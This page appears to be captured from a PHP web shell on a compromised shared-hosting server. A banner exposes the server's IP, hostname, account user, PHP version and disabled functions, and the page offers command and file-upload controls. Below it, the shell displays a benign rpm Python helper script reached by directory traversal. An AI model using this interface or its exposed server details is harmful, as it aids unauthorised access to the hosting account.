|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.42 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /dev/../../lib/rpm/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
from distutils.sysconfig import get_python_lib
from platform import python_version_tuple
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
sys.stderr.write("Usage: %s <command>\n" % sys.argv[0])
sys.exit(1)
if sys.argv[1] == "version":
sys.stdout.write(".".join(python_version_tuple()[:2]))
sys.exit(0)
if sys.argv[1] == "sitelib":
sys.stdout.write(get_python_lib())
sys.exit(0)
if sys.argv[1] == "sitearch":
sys.stdout.write(get_python_lib(1))
sys.exit(0)
sys.stderr.write("Unknown command: %s\n" % sys.argv[1])
sys.exit(1)